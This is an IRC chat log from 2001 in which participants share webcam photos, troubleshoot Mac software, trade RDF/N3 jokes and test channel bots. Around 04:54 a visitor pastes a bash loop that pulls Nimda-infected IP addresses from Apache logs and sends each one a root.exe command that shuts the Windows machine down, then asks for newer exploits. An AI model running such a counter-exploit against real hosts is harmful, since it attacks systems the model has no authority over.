for an mp3 cd 02:57:01 Woo, Green Day! 02:57:16 Warning's quite a good song actually... 02:57:22 and that's you :) 02:57:48 what is? 02:57:52 Heh. 02:57:58 aha! 02:58:14 ooh, blue and black 02:58:39 yah :) 02:58:41 black and blue, i prefer 02:58:50 * sbp wonders who Mishka is... 02:59:22 ah 03:00:47 Hmm... http://www.w3.org/TR/2001/WD-di-princ-20010918/ 03:00:58 Device Independent Prince Nodes? 03:01:00 c'mon aaron, your turn 03:01:05 yeah 03:01:12 Aww, do I really have to start up classic? 03:01:21 yes, yes, you do :) 03:01:26 i did it for you! 03:01:26 :) 03:01:26 'fraid so. We wanna see your junk 03:01:36 OK... but just this once. 03:02:22 one more pic for everyone in a sec 03:03:08 l00k! 03:03:51 Woo, Futurama 03:03:53 Ooh... Are you Morbo? 03:03:56 shutting it down. must focus on aaron 03:04:09 heh. no. but i've had two people remember that char when they see me 03:04:20 lol 03:05:52 * sbp gets some weird foreign label spam 03:06:31 do people really expect me to buy some labels when they send me huge emails in languages that I do not understand? 03:07:15 and anyway... labels! If I need some labels, I 03:07:21 'll just go down the road 03:07:35 * sbp thinks about moving his ' key away from his enter key 03:07:40 hehe 03:07:47 Yuck... I hate Classic.... :-( 03:07:57 Oh, stop whinging! 03:08:22 Morbus didn't whinge (much) 03:08:39 oh aaron. 03:08:54 what the frel is the magic zip shell command to zip up a bunch of jpgs? 03:08:58 you came and you sold me a turkey 03:10:04 magic: that sounds like a deltab question 03:11:54 ah twell 03:12:54 zip? 03:12:57 tar boy! 03:12:58 tar! 03:13:12 tar on tar off 03:13:19 * tav moves hand in circular motion 03:13:24 i can't even figure that out ;) 03:13:27 heh 03:13:40 i always wanted a clapper 03:14:04 Classic shouldn't take this freaking long... it's only 1/4 of the way done! 03:14:23 holy turd, you serius? 03:14:35 my classic takes about 30 seconds to startup 03:14:45 there's something wrong with that 03:15:36 i'm going to stop it and try again... 03:15:53 It feels like nails screeching at chalk board... over and over and over again. 03:16:32 thats so messed up. 03:16:41 are you running all your 3rd party extensions still? 03:16:49 lots of fonts in your folder? 03:16:58 rebuilt desktop lately/ 03:16:58 turned off "apple menu options"? 03:16:59 probably... i haven't used classic for a long time 03:17:18 and i never upgraded to 9.2.1 03:17:54 thats what i have right now, but even under 9.1 it was a lot faster than your travesty. 03:22:00 it seems to have gotten stuck again in the same place 03:22:09 i'd rebuild the desktop 03:25:41 i think this is an excuse so you don't have to cam yoruself 03:25:50 * sbp too :-) 03:26:09 no! I'm serious... 03:26:25 i'm rebuilding the desktop now, but it's really slow too. 03:26:56 reboot? 03:27:58 yay! finally the other computer is free 03:28:09 and lemem guess. 03:28:18 your cam is all jumbled with other wires, so you can't move it to there ;) 03:28:30 no -- it's a portable 03:28:38 and my cam is not jumbled! my desk is very clean 03:28:42 hehehe. 03:28:45 don't get indignant now 03:29:00 mine has limited space... there's a keyboard, and a comb 03:29:10 Now just let me start up Classic on the other computer... 03:29:14 yeah, my keyboard has a lot of hair in it too 03:29:20 lol 03:31:19 OK, here we go... 03:31:59 hmmph.. CoolCam froze, it seems 03:32:20 ghrghpmrhprh 03:32:25 i knew it would 03:32:33 CoolCam keeps quitting out... 03:32:39 :-) 03:32:48 I'm serious! 03:32:55 Computers Suck. 03:33:13 hehehe 03:33:16 Will CoolCam X work? 03:33:32 i dunno what your problem is. how about you just mail us a picture. 03:33:41 under 9? i dunno 03:33:48 but if the drivers are only under classic, then no 03:34:02 it's the same drivers you had... 03:34:10 nope, they won't 03:34:13 * AaronSw restarts classic 03:36:40 yay! it works! 03:38:34 cool. where is it? 03:39:10 course, i'm leaving in 10 minutes. gf is coming home. 03:39:24 oh, great... 03:39:29 can we get her on the cam? 03:39:41 no. :) 03:40:01 wtf? Not enough entropy in RNG 03:40:16 ? 03:41:24 ah twell. i'm leaving. 03:41:34 see ya aaron and sean. 03:41:34 connection timed out 03:41:42 c'ya Morbus! 03:41:46 i'm just having no luck today 03:41:50 bye 03:41:57 like me and this stupid irc program :) 03:42:10 Morbus has quit 03:42:34 Well, your Webcam program is nuts 03:42:48 and to log off, I have to reset my computer. Wonderful 03:43:19 ahh, here we go 03:43:35 URI? 03:44:12 sbp has quit 03:44:21 http://dev.logicerror.com/webcam.jpg 03:44:23 ugh! 03:44:29 sbp has joined #swhack 03:44:32 http://dev.logicerror.com/webcam.jpg 03:44:47 oops 03:44:49 aha! 03:45:10 powermac? 03:45:18 TiBook... PowerBook 03:45:35 Got any interesting junk? 03:46:16 Ooh, my copy of Weaving The Web 03:47:03 the picture seems to be static 03:47:11 reload now 03:47:15 aha 03:47:34 heh, "(all one line)" 03:47:43 Ben: I'm sorry I didn't send out that Simpsons CD... I have the physical disk but I haven't had time. 03:47:51 that's O.K.! 03:47:53 (Ben refuses to be photoed.) 03:47:57 :-) 03:48:04 ben? 03:48:08 My brother. 03:48:10 Reload! 03:48:12 age? 03:48:15 tav! 03:48:39 younger than me 03:48:40 sbp... 03:48:52 reload! my setup... 03:49:16 Aaron "three monitors" Swartz :-) 03:49:22 :-) 03:49:33 we're on the little on? 03:49:34 hmz 03:49:36 s/on/one 03:49:41 nah, the big one... 03:49:42 i fear caching 03:50:15 wow 03:50:28 BIG monitor 03:50:31 (it's not usually like that) 03:50:37 ahh, there's you... 03:50:40 It's not that big! 03:50:59 that's the tiBook ? 03:51:03 woo, #swhack! 03:51:14 what is? latest picture is of big CRT 03:51:33 no, the big monitor thing.. 03:51:50 Yeah, the one on the right is the tiBook 03:52:00 reload! my bookshelf 03:52:10 YourLowestBookshelf 03:52:26 :-) 03:52:46 can't really read the book titles all that well... 03:52:59 reload! oversized Tweety Bird 03:53:18 woo! 03:53:18 hehe 03:53:27 do bookshelf again 03:53:29 i missed that 03:53:50 try from a bit closer range, too 03:54:09 ok... try now 03:54:30 ha, P2P 03:54:54 I've got a signed copy :-) 03:55:16 Pfft. 03:55:18 He he he 03:55:26 * tav sees learning pythong 03:55:29 woo! 03:55:48 sbp: you were at the conference? 03:55:57 Nope 03:56:04 Heh, as if 03:56:16 i was ;p 03:56:18 * tav gloats 03:56:21 I got one of the co-authors to sign when he visited my house 03:56:26 How can you see Learning Python -- it was turned backwards in that picture? 03:56:31 which one? 03:56:38 DanBri 03:56:52 er... Dan Brickley 03:56:52 ah that metadata chapter 03:57:03 * sbp notes the Bricklin/Brickley problem 03:57:24 AaronSw: isn't it the one to the right? 03:57:35 'learnin' 03:57:38 No, that's Learning Cocoa... 03:57:47 Learning Python is on the upper left. 03:57:49 damnit! 03:57:57 He he he 03:58:07 same size, similar colour, figured the webcam munged it 03:58:28 Similar animal... :-) 03:58:45 * AaronSw wonders what to take picture of... 03:58:54 the room? 03:59:06 not much in it, i'm afraid. 03:59:20 just you, a few computers, a Tweety bird... 03:59:26 ... and a bed 03:59:40 it's your bedroom? 03:59:47 yeah, what'd you think it was? 03:59:55 an office! 04:00:06 pfff... why have two rooms when you can have one? 04:00:36 that way i can get out of bed and make sleepy comments on IRC 04:00:41 I suppose. My computer's in my bedroom too... 04:00:48 heh 04:01:01 well, in my flat, my bedroom remained unoccupied for the most part 04:01:04 but it only takes up a small spot in it 04:01:15 not even a bed? 04:01:15 i slept on the floor unless i had company 04:01:24 wow 04:01:35 yea, there was a bed, but it was a waste really 04:01:45 why sleep on the floor? 04:01:52 soooooooo much nicer 04:01:56 and feels more natural 04:02:00 harder, I guess 04:02:00 closer to earth 04:02:05 I like my sofa 04:02:17 [just an incedental comment] 04:02:33 come on sofa! be my bitch! 04:02:39 lol 04:03:03 AaronSw: picture of yourself? 04:03:21 http://aaronsw.com/computer.jpg 04:03:49 reload! rest of room 04:04:23 * sbp tries to make sense of that photo 04:04:31 bed on the right... 04:04:37 radiator on the left 04:04:39 carpet on the floor 04:04:40 white grill thing on the left 04:04:46 and a white blob on the floor 04:04:50 it's green! 04:05:07 looks pretty white to me 04:05:16 didn't come out so well in the picture. 04:05:35 what is it? 04:05:39 what happens to the carpet by the radiator? 04:05:47 what is what? 04:05:51 the carpet has survived fine. 04:06:23 I mean, it seems to abutt weirdly... I'm having trouble working out the picture 04:06:43 It's an interesting picture... you have to understand that it's rotated slightly funny. 04:07:23 computer.jpg: the sunlight does make me look something other than caucasian, tav. you' 04:07:23 what's the model on the radiator? 04:07:31 tav: you're right. 04:07:36 model? 04:07:43 that's the lamp I made. 04:07:45 something 04:07:55 and to the left of it is a Pringles can for a 802.11 pringles can antenna i'm going to build someday 04:08:00 the wooden thing? 04:08:06 yeah, it's a cool lamp 04:08:13 blimey 04:08:32 hmz 04:08:51 acs? 04:09:02 you are running acs? 04:09:09 On that server, yes. 04:09:14 on my dev box 04:09:51 the wonderful dev box 04:09:55 let's have a snap of it! 04:09:57 * tav looks in scorn 04:10:00 it's in the basement 04:10:06 zope lad! 04:10:08 zope! 04:10:09 Aw 04:10:21 heh... it's a leftover from before I knew of the Zope Way. ;-) 04:10:31 OK, time to go negative! 04:11:48 p'on? 04:11:51 reload! 04:12:35 * sbp saves it, and does a negative 04:12:56 any other cool effects? 04:13:18 no, don't think so 04:13:35 ah, well 04:15:48 * sbp is unhappy that no obscene gestures have been made thus far 04:16:04 * AaronSw doesn't usually make obscene gestures a matter of public record 04:16:21 :-) 04:16:53 they're good because then you don't have to repeat yourself 04:17:10 obscene gestures 04:17:11 heh 04:17:21 people and their sensibilities 04:17:29 it's a gesture for fuck's sake 04:17:32 just wait 'till I get a Webcam... 04:17:40 and 'fuck' it's just a bloody word! 04:17:52 yeah, I feel exactly the same fucking way 04:17:54 :-) 04:18:02 heh 04:18:07 so does Stephen Fry, apparently 04:18:22 I mean, I don't mind hearing them or seeing them... I just don't generally say them. 04:19:17 And you'll probably make fun of my hands. ;-) 04:19:39 ? 04:20:15 his wrists aren't really powerful yet 04:20:21 * wink * wink * 04:20:31 Aaron, you should play more badminton 04:20:40 or Guitar 04:20:48 Heh. 04:20:48 my fingers were so weak when I started playing 04:21:01 * sbp picks up his guitar 04:21:10 As if I didn't get enough of this from Morbus... 04:22:22 * sbp wonders what to play 04:23:04 * sbp settles on a medley 04:23:07 Hmm, well you'll need to come over to my house sometime, sbp. Seeing it via webcam isn't the same. 04:23:29 yeah 04:24:48 reload and see my eyeball ;-) 04:25:05 heh 04:25:19 and the computer screens 04:25:32 heh... yeah 04:26:10 * sbp plays the Octopus' Garden solo 04:26:50 heh! this program has blurs! 04:27:05 demonstration? 04:28:07 yeah... look now 04:28:22 heh! 04:28:30 witness X... 04:28:41 The notorious SemWeb hacker! 04:28:46 lol 04:31:07 Well, bollocks to this 04:31:37 c'ya! 04:31:42 c'ya 04:31:46 i better do my homework now... 04:31:56 :-) 04:31:59 sbp has quit 04:34:32 hmz 04:34:36 where eyeball go? 04:34:44 we replaced it 04:35:18 and then i decided to delete things and cover up my trail. ;-) 04:35:23 heh 04:42:24 i'm going to bomb the pentagon tomorrow! bwahahahahahaha 04:47:48 logster has joined #swhack 04:47:48 Users on #swhack: logster AaronSw eberg tav deltab 04:48:19 hmm 04:48:31 tav! how could you say such things? 04:50:47 BadMan has joined #swhack 04:51:10 Hi BadMan 04:51:14 hiya 04:51:33 guess ome are alive in here hehe 04:51:46 What brings you here? 04:52:02 the little word on end of channelname... 04:52:17 hacking? 04:52:20 tired of these damn IIS nimda infected servers hitting my apache 04:52:42 Isn't everyone... 04:53:00 jsut wana stopp themm tried an older lien to shutthemdown .. but most seem to be patcehd beyond that and imout of loop on it 04:53:11 ROFL @ log 04:54:01 i wont flood if I dump about 6 lines onya will i...? 04:54:08 no, don't think so 04:54:40 LOG=/var/log/httpd/access_log 04:54:40 URL_1="/scripts/root.exe?/c+rundll32.exe+shell32.dll,SHExitWindowsEx+5" 04:54:40 egrep 'cmd.exe?|root.exe?|winnt|masdc|MASDC' $LOG | cut -d\ -f1 | sort | uniq $ 04:54:40 do 04:54:40 wget -T 45 -t 1 -nh -np --ignore-length --spider http://${line}${URL_1} 04:54:42 done 04:55:19 why would you do that? 04:55:27 basically this little script while running reads var/log/httpd/access.. looks in each line for the stuff in 'egrep'... 04:55:47 if their offlien they aint sending nimda crap at me allt he time or anyone else.. 04:56:09 Oh, so it just drops the machine dead? 04:56:21 * AaronSw hasn't researched the exploit yet. 04:56:24 shuts it down... but liek i said 04:56:47 im out of loop on nt(over 3 years out of loop) and it seems this old exploit is pretty well patched over.. 04:57:09 wondered if anyone had a newer or better exploit of similiar tactics 04:57:40 Not I... 04:58:11 did you try googling? 04:58:17 yeap 04:58:23 didnt find much.. 04:58:46 I also ran a iisrest one as well, it didnt seem to work.. 04:58:54 err iisreset 04:59:24 it worked great on 4.0 most of these im getting hit by are 5.0 05:00:01 just from one ip i have over 2000 hits today 05:00:42 total of about 5000 hits today altogether 7000 yesterday.. all root.exe? and cmd.exe exploits 05:00:48 wow 05:01:09 yeah total since start ont he 18th... staggering 19, 450 05:02:18 yeah, my servers are being pounded too. i've probably got about that many hits 05:02:33 guess instead of trying to shut them down I should write a script to append each new IP to my firewall as denied.. 05:02:54 you hear anything about this lebrea... 05:04:15 * tav fears saying anything in the channel 05:04:20 evil AaronSw! evil AaronSw! 05:04:44 hehe I guess I missed soemthin... 05:04:46 I'm sorry that you feel that way, tav. 05:10:55 welp it was nice talkin to ya AaronSw if you happen to come across some kewl url scripts please message me thru memoserv... 05:10:59 thanks again.. 05:11:01 will do 05:11:06 no prob 05:11:09 g'nite 05:11:12 sorry i wasn't more help 05:11:17 g'nite 05:11:24 no biggie I WILLfind something 8) 05:11:29 BadMan has left #swhack 05:29:37 Hmm... are there real numbers a and b, such that sqrt(a + b) == sqrt(a) + sqrt(b) ? 05:31:07 Ahh.. 0 05:32:31 * AaronSw thanks Python for this answer. 05:35:11 tav has quit 06:07:03 eberg has quit 13:03:44 Morbus has joined #swhack 13:15:54 wassup? 13:16:39 nothing. nothing at all. i'm tired. 13:20:08 gotta run 13:20:20 AaronSw has quit 13:49:34 AaronSw has joined #swhack 14:00:58 AaronSw is now known as scribe-Aaron 14:45:54 Disconnected from irc.openprojects.net (Connection reset by peer) 14:46:04 logster has joined #swhack 14:46:04 topic is: Come one, come all! It's tav bashing day. Marvel at the ways in which tav is bashed 14:46:04 Users on #swhack: logster scribe-Aaron 14:46:13 deltab has joined #swhack 14:46:52 Morbus has joined #swhack 14:58:59 scribe-Aaron has quit 15:54:59 Morbus has left #swhack 16:24:49 sbp has joined #swhack 16:32:19 sbp has quit 17:47:43 Morbus has joined #swhack 17:47:45 exit 17:47:48 Morbus has quit 18:51:25 tav` has joined #swhack 18:53:38 AaronSw has joined #swhack 18:54:40 Today in Music class: 18:55:10 We were discussing sharps and flats, and one student asked why we needed things like double sharps, etc. if they could be replaced by a simpler note. 18:55:18 The teacher replied that we would discuss that later. 18:55:30 The students, quite curious, continued to pleade for an explanation. 18:55:34 The teacher refused. 18:55:48 One student finally said, "Can my friend Mr. Washington convince you to tell us?" 18:55:52 The teacher gave in. 18:56:12 --- 18:56:25 This was a story. I should do more of these. 18:59:23 tav has joined #swhack 19:24:56 Hmm, it bothers me every time I visit Zope.org that they've stolen Apple's typeface. 19:25:28 Seen elsewhere: 19:25:33 rm -rf /bin/Laden 19:26:59 Dmoz is on top of things: 19:27:03 http://dmoz.org/Society/Issues/Terrorism/International_Terrorists/USA_Designees/Al-Qaida/Usama_Bin-Laden/ 20:15:05 * AaronSw updates http://blogspace.com/pictures/ 20:46:09 sbp has joined #swhack 20:48:04 * AaronSw waves 20:48:16 * sbp waves at Aaron 20:49:02 I said a bunch of stuff in the logs today. 20:49:19 AaronSw has changed the topic to: This statement is funny. 20:49:37 I say some put some funny stuff in the logs when you're not around. 20:49:44 And, as tav discovered, even when you are! 20:50:08 * sbp goes through the logs 20:53:37 * AaronSw goes back to annotating photos 21:05:22 lol! Brie and cheese 21:05:42 Haven't you heard that? Bush said it. 21:05:55 ehm 21:06:05 this place gets weirder by the day 21:06:14 So, how's the Pentagon, tav? 21:06:25 I was just discussing with Aaron that transliterating "and" is not a good idea 21:06:39 * AaronSw doesn't understand what transliterating "and" means 21:06:44 ... thus the comment 21:07:06 and, adn, dna, dan, nda, nad 21:07:16 [[[ 21:07:17 Error: 21:07:18 could not connect to "127.0.0.1:82" (opening connection) 21:07:23 ]]] - http://blogspace.com/swhack/chatlogs/2001-09-21.txt 21:07:29 the latter is the one to be wary of 21:07:42 interesting... 21:10:00 OK, should be fixed now, sbp. 21:10:22 * AaronSw wonders where the OmniGroup comes up with their prices... 21:10:33 $14.92? $21.12? 21:10:36 cheers 21:10:41 $59.95! 21:12:53 who? huh? 21:13:10 * sbp has assed swintro to SBP SWAD 21:13:17 cool 21:15:13 Way to report known CWM bugs, sbp! You go, girl! 21:15:32 semanticWeb-long! 21:15:32 Hey, I saw Bob Mankoff on TV the other day, he looks really...interesting. 21:15:40 Bob Mankoff? 21:15:58 Head of the Cartoon Bank, runs the New Yorker's cartoon department. 21:16:18 Oh 21:16:29 http://www.reuben.org/news/0897/mankoff.asp 21:16:45 sbp has changed the topic to: [ a :Joke ] . 21:16:49 He looks cooler than he does in the cartoon, though. 21:17:15 AaronSw has changed the topic to: [ not a :Joke ; rdf:value [ a :Joke ] ]. 21:18:34 sbp has changed the topic to: { [ a :Joke; rdf:value [ a :Joke ] ] } a log:Falsehood . 21:18:45 no, that's not right... 21:19:06 Bzzt. 21:19:10 Try again. 21:19:32 well, what's rdf:value, for a start? 21:19:33 Here's a hint: { _:a a :Joke} a log:Falsehood . 21:19:44 rdf:value? nooobody knows. 21:19:59 sbp has changed the topic to: rdf:value a :Joke . 21:20:01 there 21:20:31 heh! 21:20:50 * sbp wonders how [ a :Joke ] is any different from _:a a :Joke . ? 21:21:13 It's not, but it allows you to say what you couldn't say above. 21:21:26 yeah, I needed to put the node outside the context... 21:21:51 { _:a a :Joke } a log:Falsehood . _:a a :Joke . 21:21:59 Huh? 21:22:03 oops 21:22:13 { _:a a :Joke } a log:Falsehood . _:a rdf:value [ a :Joke ] . 21:22:59 there'ya go. 21:23:19 We really need [] syntax in mathematical proofs. 21:23:19 { { { _:a a :Joke } a log:Falsehood . _:a a :Joke . } a log:Truth } a log:Contradiction, :Puzzlement . 21:23:35 just add it; no one will notice 21:23:53 all of the top people will just pretend to know what it means (or miztake it for a matrix, more likely) 21:24:00 s/miztake/mistake 21:24:22 Heh... I keep thinking: what happens if two mathematicians define names that clash? 21:24:29 They should give these things URIs. ;-) 21:24:39 no, it's simple: they have to duel 21:24:55 or rock scissors paper 21:25:00 Ahh. 21:25:12 they should have done DNS on that 21:25:35 we could have had DNS tournaments, and the winner gets to choose their domain first, then the next person... 21:25:35 Yeah, much better than WIPO. 21:25:41 yeah 21:26:04 * sbp is glad this stuff is being logged 21:26:06 I have a friend who is an amazing Rock Paper Scissors player. He can beat almost anyone. 21:26:17 who can't he beat? 21:26:27 I forget. 21:27:12 [ :beat [ a :AmazingRockPaperScissorsPlayer; :friendOf [ :name "Aaron Swartz" ] ] ] . 21:27:24 yep 21:27:30 good ol' N3 21:29:28 hmz, how can you be an amazing player? 21:30:00 It's all in the psychology of the game. 21:30:04 He mentally forces people into making the moves he wants. 21:30:16 It's really fascinating to watch. 21:30:27 "play rock, or I'll beat the shit out of you"? 21:30:42 sed? 21:32:58 Heh, no. 21:33:01 It's nonverbal. 21:33:04 Cool! 21:33:06 @tvnext bbc2 21:33:06 Coming up next on BBC 2: 21:33:06 [21:50] Body Briefs 21:33:06 [22:00] Not the Nine O'Clock News 21:33:06 [22:30] Newsnight 21:33:07 [GlobalNotice] We hope services will be back up in about 10 minutes. Apologies for the inconvenience. 21:33:07 [23:00] Newsnight Review 21:33:09 [23:35] Tennis - Davis Cup 2001 21:33:15 hmz? 21:33:17 You guys have great TV shows there... 21:33:20 heh 21:34:00 Ah crap, I missed Not the Nine O'Clock News 21:34:14 That's really what it's called? 21:34:24 Yeah, it's a good show 21:34:42 With Rowan Atkinson, Gryf Rhys-Jones, and so on. A seminal comedy show 21:35:08 I think they had one in Canada like that. They made fun of Quebecians. 21:41:30 [GlobalNotice] Services will be back up in a moment, accompanied by the usual splits. Thanks. 21:43:11 does sed have troff commands? 21:43:32 uh, what? 21:43:38 tav` has quit 21:43:38 tav has quit 21:43:38 deltab has quit 21:44:04 deltab has joined #swhack 21:44:04 tav` has joined #swhack 21:44:04 tav has joined #swhack 21:44:06 * sbp takes that as a no 21:44:26 I don't even understand what you're asking 21:45:03 deltab? 21:45:18 sed edits a stream; troff formats pages 21:45:29 is there a combined version? 21:45:37 to do what? 21:45:43 ehm, did i miss something? 21:46:27 I think they had one in Canada like that. They made fun of Quebecians. 21:46:28 * sbp takes that as a no 21:46:28 I don't even understand what you're asking 21:47:02 yes, apparently so: 21:47:04 tav: sbp's question about sed and troff 21:47:07 does sed have troff commands? 21:47:07 uh, what? 21:47:28 hmz 21:47:55 that makes no sense, deltab is on the same server as i am 21:48:02 so it can't be a damn server split 21:48:09 sbp: um, are you asking if you can use sed to convert something into troff input? 21:48:09 blimey, I just want to know if there is a version of sed somewhere on the Internet that I can download, and that can format a troff document 21:49:03 I'm asking if there is a variant of sed that will convert troffed input into something more sensible. Why should I have to use sed and troff? just have sedtroff or something :-) 21:49:14 uhuh 21:49:25 so, is there? 21:49:36 if there is, it's called emacs 21:49:39 * sbp should know better than to ask these sorts of questions 21:49:43 Pffffff, emacs 21:49:48 :-) 21:50:19 I want to be able to run it by command line, and I don't want to have to spend 7 years downloading something that's not all that much better than ViM 21:50:48 um, do you know what troff is? 21:51:34 it's a typesetting format, no? 21:51:52 it's a program that formats and typesets 21:52:11 which has its own input format 21:52:31 O.K., so if you have a file with troff commands in it... then you run it through troff, and it formats it for you. Yes? 21:52:37 yes. 21:52:41 yes... 21:53:03 right, so is there a sodding version of sed that does those troff commands too. It's not a difficult concept or anything 21:53:30 err, it doesn't really make sense 21:53:43 * sbp gives in 21:53:47 why not just use troff? 21:54:12 sbp: you could reimplement some of troff in a mammoth sed script 21:55:05 yeah (man, that would be a job...), but why not have it built into a hybrid version of sed? Well, I think it's a good idea... 21:56:36 sbp: the idea reminds me of the I-Ching calculator in a Dirk Gently book 21:57:41 pardon? 21:57:55 I'll bet that's in "Long Dark Teatime..." 21:58:24 yeah, I suspect so 21:58:33 muchly? is that a word? 21:58:52 "Thanks muchly for the help." 21:59:51 sounds okay to me 21:59:58 yep, chapter 10 22:01:18 Aw... I don't have that one (yet) :-) 22:02:06 * sbp should have sprinkled smileys liberally in his sed/troff rant 22:02:45 http://www.thateden.co.uk/dirk/ 22:04:27 He he he 22:04:28 [[[ 22:04:29 '"1 + 1" it could manage ("2"), and "1 + 2" ("3") and "2 + 2" ("4") or "tan 74" ("3.4874145"), but anything above "4" it represented merely as "A Suffusion of Yellow". Dirk was not certain if this was a programming error or an insight beyond his ability to fathom, but he was crazy about it anyway, enough to hand over £20 of ready cash for the thing.' 22:04:29 ]]] 22:06:35 cool JavaScript implementation of the calculator too! 22:06:52 I don't get no Yelllow. I just get blank screens. 22:07:13 Hmm... 22:07:55 Hmm, the image is there: http://www.thateden.co.uk/dirk/images/yellow.gif 22:08:13 It works fine for me 22:08:30 i don't see it 22:08:49 try 10/2 22:09:03 no luck 22:09:11 try 2+1 22:09:27 3 22:09:31 Hmm... 22:09:43 Does yellow.gif work? 22:10:17 Maybe it figures that Mac users are already enlightened 22:10:18 heh, a Discworld reference too 22:10:27 yellow.gif works 22:14:09 * sbp goes to download Cygwin, but wonders how long that's gonna take... 22:16:38 depends how many packages I install, I guess 22:18:07 echo 22:18:10 .echo 22:18:12 ..echo 22:18:17 ...echo 22:18:24 ....echo 22:18:39 .....echo 22:19:03 bash? Did I select that? 22:19:06 What is it? 22:19:30 UNIX people? anybody? hello? 22:20:00 bash is the Bourne Again Shell 22:20:09 bash is the cool shell. ;-) 22:20:19 does it do anything good? 22:20:33 allows you to enter commands 22:20:36 :-) 22:20:46 ah... I guess I do need it then :-) 22:20:50 runs shell scripts 22:22:25 well at this rate, it won't take forever, but something close 22:25:00 it'd be great if it told you which packages were required for it to at least run 22:30:59 sbp has quit 22:49:04 sbp has joined #swhack 22:49:46 cool TimBL trick:- 22:49:47 { log:resolvesTo :F } log:implies { :F a log:Truth }. # import rules 22:49:55 cool 22:50:47 from http://www.w3.org/2000/10/swap/test/includes/check-all.n3 22:50:52 (through CVS) 22:51:20 http://dev.w3.org/cvsweb/2000/10/swap/test/includes/check-all.n3?rev=1.1&content-type=text/x-cvsweb-markup 22:51:21 hmz 22:51:30 xena has joined #swhack 22:51:40 Hey, xena 22:51:44 yay! xena's back 22:51:51 hey sbp 22:51:54 does it do T.V. schedules now? 22:51:57 he he he 22:52:07 nah, don't do tv yet 22:52:12 Aw 22:52:38 what was the thing that tav used for that then, xena? 22:52:47 no, maya 22:52:52 heh 22:53:03 That was an eggdrop bot. 22:53:30 in the beginning we had an eggdrop, one of our guys runs eggdrop.net 22:53:40 .pig latin hi there 22:53:40 i-hay ere-thay 22:53:44 then, deltab introduced fimo, an infobot 22:53:58 fimo soon became xena, a slightly modified infobot 22:54:15 and where did hiroko come in? 22:54:21 then we decided to create a superbot 22:54:31 hiroko was a zope based bot 22:54:39 And new xena? 22:54:42 she was too volatile though 22:54:49 volatile? 22:55:29 she didn't play well with zope 22:55:44 hmmph 22:56:08 so, we created xena (Creature) 22:56:20 a mixture of the infobot / eggdrop / zopebot 22:56:28 the superbot 22:57:02 Cool. 22:57:22 xena, super-bot-deeley-of-the-IRC-lands 22:57:38 :-) 22:57:49 Morbus has joined #swhack 22:58:13 Hi Morbus 22:58:24 Hi morbus 22:58:33 hey guys 22:59:21 .when did AaronSw last login to the xnet? 22:59:23 aaronsw last logged in on 2001/09/13 17:03:35.3509 Universal 22:59:32 .time 22:59:33 2001/09/21 23:01:04.52094 Universal 22:59:48 Hmm, i've been logged in for a while. 22:59:51 does it do unix time? 22:59:55 .unixtime 22:59:55 1001113309.35 23:00:01 .bilennium 23:00:06 .billennium 23:00:06 neat 23:00:06 [ 1001113320.33 ] : HAPPY BILLENNIUM! 23:00:11 :-) 23:03:17 sbp has quit 23:03:24 .when did aaronsw last log in to the xnet? 23:03:25 aaronsw last logged in on 2001/09/21 23:04:43.2381 Universal 23:03:29 .time 23:03:29 2001/09/21 23:05:00.890719 Universal 23:03:42 btw 23:03:45 .when did AaronSw 23:03:46 aaronsw last logged in on 2001/09/21 23:04:43.2381 Universal 23:03:47 works too ;p 23:03:47 .when did tav last have sex? 23:03:48 tav last logged in on 2001/09/18 20:52:48.7271 Universal 23:03:51 SeanP has joined #swhack 23:03:57 heh 23:04:42 SeanP is now known as sbp 23:05:14 aaron, you on os x right now? 23:05:18 this is so weird. 23:05:20 yes 23:05:29 when i have websharing ON, i can get to the yahoo.com page, right 23:05:38 ok 23:05:38 but when i try to go to mail.yahoo.com, i get my localhost directory 23:05:46 that's in icab. in IE, i crash immediately 23:05:53 weird 23:06:05 yeah! 23:06:23 Morbus has quit 23:06:25 heh: 2001/09/18 20:52:48.7271 23:06:36 why heh? 23:06:57 that's when tav last "logged on" 23:09:47 :-) 23:10:00 Apparently espHarem isn't fully operational yet. 23:10:09 :-) 23:23:48 AaronSw has quit 23:23:57 AaronSw has joined #swhack 23:25:35 .seen sbp 23:25:35 sbp seen in #rdfig saying: [ hi ] ~ 2 min(s) 36 sec(s) ago 23:27:39 ah, smart 23:27:46 .seen freakster 23:27:46 sbp: no match found: freakster 23:28:06 .seen gooble 23:28:07 sbp: no match found: gooble 23:28:18 .seen beeble 23:28:18 sbp: no match found: beeble 23:28:25 .seen egreg 23:28:25 AaronSw: no match found: egreg 23:28:34 .seen tav 23:28:34 tav seen in #swhack saying: [ .seen sbp ] ~ 2 min(s) 58 sec(s) ago 23:28:36 Aw... 23:28:39 lol 23:28:41 .seen xena 23:28:42 xena seen joining #infoanarchy ~ 36 min(s) 59 sec(s) ago 23:29:50 Ok, looks like it's time for me to go. Have a nice weekend everyone. 23:31:56 laters 23:32:24 enjoy the holiday 23:32:30 c'ya! 23:47:03 sbp has quit 23:47:41 [GlobalNotice] Apologies for the intrusion. If you have a bit of accounting and bookkeeping experience and would be willing to contribute a few hours per month to a community non-profit, please /msg me. Thanks.